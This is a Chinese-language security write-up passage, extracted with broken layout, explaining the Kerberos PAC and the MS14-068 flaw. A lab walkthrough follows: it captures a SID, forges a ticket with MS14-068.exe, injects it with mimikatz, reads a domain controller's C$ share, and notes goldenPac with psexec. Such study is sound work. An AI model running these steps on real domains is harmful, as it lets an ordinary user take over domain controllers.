(http://www.harmj0y.net/blog/activedirectory/s4u2pwn

age/)  

https://www.anquanke.com/post/id/220152#h2-7

(https://www.anquanke.com/post/id/220152#h2-7)  

https://www.anquanke.com/post/id/190625#h3-14

(https://www.anquanke.com/post/id/190625#h3-14)

PAC 与 Kerberos 的关系

0x00 PAC 简介

0x01 PAC 介绍

https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&mid=2247483689&idx=1&sn=1d83538cebbe2197c44b9e5cc9a7997f&chksm=eaa5bb09ddd2321fc6bc838bc5e996add511eb7875faec2a7fde133c13a5f0107e699d47840c&scene=126&sessionid=1584603915&key=cf63f0cc499df801cce7995aeda59fae16a26f18d48f6a138cf60f02d27a89b7cfe0eab764ee36c6208343e0c235450a6bd202bf7520f6368cf361466baf9785a1bcb8f1965ac9359581d1eee9c6c1b6&ascene=1&uin=NTgyNDEzOTc%3D&devicetype=Windows+10&version=62080079&lang=zh_CN&exportkey=A8KlWjR%2F8GBWKaJZTJ2e5Fg%3D&pass_ticket=B2fG6ICJb5vVp1dbPCh3AOMIfoBgH2TXNSxmnLYPig8%3D
https://www.secureauth.com/blog/kerberos-delegation-spns-and-more/
http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
https://www.anquanke.com/post/id/220152#h2-7
https://www.anquanke.com/post/id/190625#h3-14


在⼀个域中，如何才能知道某个域⽤户所拥有的权限呢？⾃然是需

要提供 User 的 SID 和所在组 Group 的 SID。必须了解的⼀个前提

是，KDC，A、B 三者中，B 只信任 KDC 所提供的关于 A 到底是

什么权限，所以在域初始时，KDC 上拥有 A 和 B 的权限。现在需

要解决的是，KDC 必须告诉 B 关于 A 的权限，这样 B 验证 A 的

权限后才能决定让不让 A 访问⾃身的⽹络资源。

为了让 Server-B 能知道 Client-A 所具有的权限，微软在

KRB_AS_REP 中的 TGT 中增加了 Client-A 的 PAC（特权属性证

书 ），也就是 Client-A 的权限，包括 Client-A 的 SID、Group 的

SID： 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4516-bced232a-42e2-1.png)

可以看到被 KDC 加密的 TGT 中，不仅包括了被加密的 Session

Keya-kdc，还包括 KRB_AS_REQ 中申请者（Client-A）的权限属

性证书，为了防⽌该特权证书被篡改（即使被 KDC 加密，Client-A

也⽆法轻易解密，但谁也⽆法保证绝对的安全），在 PAC 的尾部添

加了两个检验 ServerSignature 和 KDCSignature:

在这⾥ serber Signature 和 KDC Signature 对 Client ⽽⾔，

Server 代表的是 TGS 服务，KDC 代表的是 AS 服务（AS 作为

Client-A 与 TGS 的第三⽅信任机构）。但是 AS 服务与 TGS 服务

https://xzfile.aliyuncs.com/media/upload/picture/20201221004516-bced232a-42e2-1.png


具有相同的 krgtbt 账号的密码⽣成的，当然，整个 TGT 也是⽤

KDC 的密码也就是 krbtgt 通过它账号密码加密的，他们三者不同

的是，⽤的算法和加密内容有所不同。

微软是这样打算的，⽆论如何也要把 PAC 从 KDC 传送到 Serber-

B，为了在 Kerberos 认证过程中实现，微软选择了如下做法：

将 PAC 放在 TGT 中加密后从 AS 服务经 Client-A 中转给 TGS 服

务，再放在由 TGS 服务返回的 ServiceTicket 中加密后经 Client-

A 中转给 Serber-B 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4525-c25445a0-42e2-1.png)

在这⾥需要注意的是，在 KRB_TGS_REQ 阶段，携带 PAC 的

TGT 被 TGS 服务接收后，认证 Client-A 的合法性后（解密

Authenticator 符合要求）会将 PAC 解密出来，验证尾部两个签名

的合法性，如何合法则认为 PAC 没有被篡改，于是重新在 PAC 的

尾部更换了另外两个签名，⼀个是 Server Signature，这次是以

Server-B 的密码副本⽣成的签名 (因为对于 Client-A 和 Server-

B，这次的第三⽅机构是 TGS)，另⼀个是 KDC Signature，这次不

再使⽤ KDC 的⻓期有效的 key，⽽是使⽤在 AS 阶段⽣成的短期有

效的 SessionKeya-b。最后称为 新的 PAC 被拷⻉在 ST 中被加密

起来。

https://xzfile.aliyuncs.com/media/upload/picture/20201221004525-c25445a0-42e2-1.png


最后绕来绕去，KDC 上所拥有的关于 Client-A 的权限证书 PAC

终于发给了 Server-B，Server-B 在对 Client-A 进⾏认证的同

时，也能判断 Client-A 有没有访问⽹络资源的权限。

参考链接

https://www.freebuf.com/vuls/56081.html 

能够将任意⼀台域机器提升成域控相关权限

⾸先请先了解 kerberos 认证与 PAC，漏洞成因有三

第⼀个原因

在 KDC 机构对 PAC 进⾏验证时，对于 PAC 尾部的签名算法，虽

然原理上必须是带有 Key 的签名算法才可以，但是微软在是线上，

确实允许任意签名算法。只要客户端指定任意签名算法，KDC 服务

器就会使⽤指定的算法进⾏签名验证！

第⼆个错误

PAC 没有被放在 TGT 中，⽽是放在了 TGS_REQ 数据包的其他地

⽅。但是 KDC 在实现上竟然允许这样的构造，也就是说，KDC 能

够正确解析出没有放在其他地⽅的 PAC 信息！

第三个错误

只要 TGS_REQ 按照刚才漏洞要求设置，KDC 服务器会做出令⼈吃

惊的事情：它不仅会从 Authenticator 中取出 subkey 把 PAC 信息

解密并利⽤客户端设定的签名算法验证签名，同时将另外的 TGT 进

⾏解密得到 SeeesionKeya-kdc

最后验证成后，在 PAC 信息的尾部，重新采⽤⾃身的 Serber_key

和 KDC_key ⽣成⼀个带 Key 的签名，把 SessionKeya-kdc ⽤

subkey 加密，从⽽组合成⼀个新的 TGT 返回给 Client-A。

MS14-068

0x00 漏洞效果

0x01 漏洞成因



https://www.freebuf.com/vuls/56081.html 

⼩于 2012R2 的域控没有打 KB3011780，⾼版本默认集成

⽆论⼯作组、域，⾼低权限都可以使⽤⽣成的票据进⾏攻击

域账户使⽤时需要 klist purge 清除票据

WIN 环境

获取某⼀个域⽤户的 sid

whoami /all > sid.txt 
S-1-5-21-662684005-512120196-2632585872-1105 

获取域⽤户的明⽂密码

QWE123!@# 

获取域名

hacke.top.com 

票据⽣成命令

MS14-068.exe -u test@hacke.top.com -s S-1-5-21-662684005-5121
20196-2632585872-1105 -d 192.168.60.55 -p QWE123!@# 

0x02 漏洞利⽤条件

0x03 漏洞利⽤过程

域控 08R2 192.168.60.55 hacke.top.com 机器名 WIN-

1CO4ES74OQM 

域成员机器 192.168.60.50 test QWE123!@#

https://xzfile.aliyuncs.com/media/upload/picture/20201221004538-c9cd1c30-42e2-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4538-c9cd1c30-42e2-1.png)

票据注⼊

kerberos::ptc TGT_test@hacke.top.com.ccache //将票据注⼊到内存中 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4541-cc101a56-42e2-1.png)

通过域控的机器名进⾏访问

dir \\WIN-1CO4ES74OQM\C$ 

https://xzfile.aliyuncs.com/media/upload/picture/20201221004538-c9cd1c30-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004541-cc101a56-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004547-cf79e6cc-42e2-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4547-cf79e6cc-42e2-1.png)

在这⾥不在域内的机器也可以 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4551-d1d29e96-42e2-1.png)

也可以使⽤ goldenPac.exe，它可以结合 psexec 直接执⾏命令 (不

会弹框)

Linux 版本可以使⽤ goldenPac.py

参考链接

本⽂⼤部分论点还是出于我的⻆度来写的，这么多知识点分开来展

示可能问题不⼤。但是放在⼀起后可能会有部分的杂乱，但⽆疑实

验肯定是能够成功的，也写上了我的观点。如委派等知识点，师傅

们也可以看看其他⼈怎么写的。每个⼈的写作视⻆都是不同的，多

看看多理解也就会了。

https://www.freebuf.com/vuls/56081.html

(https://www.freebuf.com/vuls/56081.html)
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